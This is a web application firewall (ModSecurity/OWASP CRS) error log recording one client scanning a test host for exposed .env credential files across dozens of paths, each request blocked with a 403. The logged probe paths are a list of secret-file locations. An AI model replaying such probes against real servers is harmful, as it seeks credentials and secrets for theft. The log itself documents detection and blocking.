[Thu Mar 12 21:45:28.793483 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /node/backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/backend/.env"] [unique_id "abMl6E8nGn4wn25ee503NQAAAAU"]
[Thu Mar 12 21:45:28.793681 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/backend/.env"] [unique_id "abMl6E8nGn4wn25ee503NQAAAAU"]
[Thu Mar 12 21:45:28.793832 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/backend/.env"] [unique_id "abMl6E8nGn4wn25ee503NQAAAAU"]
[Thu Mar 12 21:45:28.815929 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /nodeapi/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nodeapi/.env"] [unique_id "abMl6E8nGn4wn25ee503NgAAAAU"]
[Thu Mar 12 21:45:28.816137 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nodeapi/.env"] [unique_id "abMl6E8nGn4wn25ee503NgAAAAU"]
[Thu Mar 12 21:45:28.816272 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nodeapi/.env"] [unique_id "abMl6E8nGn4wn25ee503NgAAAAU"]
[Thu Mar 12 21:45:28.838527 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /nodeweb/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nodeweb/.env"] [unique_id "abMl6E8nGn4wn25ee503NwAAAAU"]
[Thu Mar 12 21:45:28.838721 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nodeweb/.env"] [unique_id "abMl6E8nGn4wn25ee503NwAAAAU"]
[Thu Mar 12 21:45:28.838879 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nodeweb/.env"] [unique_id "abMl6E8nGn4wn25ee503NwAAAAU"]
[Thu Mar 12 21:45:28.861002 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /old/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old/.env"] [unique_id "abMl6E8nGn4wn25ee503OAAAAAU"]
[Thu Mar 12 21:45:28.861201 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old/.env"] [unique_id "abMl6E8nGn4wn25ee503OAAAAAU"]
[Thu Mar 12 21:45:28.861351 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old/.env"] [unique_id "abMl6E8nGn4wn25ee503OAAAAAU"]
[Thu Mar 12 21:45:28.975304 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "abMl6E8nGn4wn25ee503PQAAAAU"]
[Thu Mar 12 21:45:28.975501 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "abMl6E8nGn4wn25ee503PQAAAAU"]
[Thu Mar 12 21:45:28.975635 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "abMl6E8nGn4wn25ee503PQAAAAU"]
[Thu Mar 12 21:45:28.997771 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "abMl6E8nGn4wn25ee503PgAAAAU"]
[Thu Mar 12 21:45:28.997972 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "abMl6E8nGn4wn25ee503PgAAAAU"]
[Thu Mar 12 21:45:28.998127 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "abMl6E8nGn4wn25ee503PgAAAAU"]
[Thu Mar 12 21:45:29.043331 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /product/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/product/.env"] [unique_id "abMl6U8nGn4wn25ee503QAAAAAU"]
[Thu Mar 12 21:45:29.043548 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/product/.env"] [unique_id "abMl6U8nGn4wn25ee503QAAAAAU"]
[Thu Mar 12 21:45:29.043714 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/product/.env"] [unique_id "abMl6U8nGn4wn25ee503QAAAAAU"]
[Thu Mar 12 21:45:29.065754 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /production/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/production/.env"] [unique_id "abMl6U8nGn4wn25ee503QQAAAAU"]
[Thu Mar 12 21:45:29.065948 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/production/.env"] [unique_id "abMl6U8nGn4wn25ee503QQAAAAU"]
[Thu Mar 12 21:45:29.066086 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/production/.env"] [unique_id "abMl6U8nGn4wn25ee503QQAAAAU"]
[Thu Mar 12 21:45:29.088401 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /project/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/project/.env"] [unique_id "abMl6U8nGn4wn25ee503QgAAAAU"]
[Thu Mar 12 21:45:29.088613 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/project/.env"] [unique_id "abMl6U8nGn4wn25ee503QgAAAAU"]
[Thu Mar 12 21:45:29.088761 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/project/.env"] [unique_id "abMl6U8nGn4wn25ee503QgAAAAU"]
[Thu Mar 12 21:45:29.110912 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public-api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public-api/.env"] [unique_id "abMl6U8nGn4wn25ee503QwAAAAU"]
[Thu Mar 12 21:45:29.111107 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public-api/.env"] [unique_id "abMl6U8nGn4wn25ee503QwAAAAU"]
[Thu Mar 12 21:45:29.111249 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public-api/.env"] [unique_id "abMl6U8nGn4wn25ee503QwAAAAU"]
[Thu Mar 12 21:45:29.133431 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "abMl6U8nGn4wn25ee503RAAAAAU"]
[Thu Mar 12 21:45:29.133635 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "abMl6U8nGn4wn25ee503RAAAAAU"]
[Thu Mar 12 21:45:29.133779 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "abMl6U8nGn4wn25ee503RAAAAAU"]
[Thu Mar 12 21:45:29.179012 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public_html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public_html/.env"] [unique_id "abMl6U8nGn4wn25ee503RgAAAAU"]
[Thu Mar 12 21:45:29.179218 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public_html/.env"] [unique_id "abMl6U8nGn4wn25ee503RgAAAAU"]
[Thu Mar 12 21:45:29.179352 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public_html/.env"] [unique_id "abMl6U8nGn4wn25ee503RgAAAAU"]
[Thu Mar 12 21:45:29.248955 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /qa/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/qa/.env"] [unique_id "abMl6YO4G5_wf15cy512tgAAAAg"]
[Thu Mar 12 21:45:29.249186 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/qa/.env"] [unique_id "abMl6YO4G5_wf15cy512tgAAAAg"]
[Thu Mar 12 21:45:29.249868 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/qa/.env"] [unique_id "abMl6YO4G5_wf15cy512tgAAAAg"]
[Thu Mar 12 21:45:29.340487 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/.env"] [unique_id "abMl6YO4G5_wf15cy512ugAAAAg"]
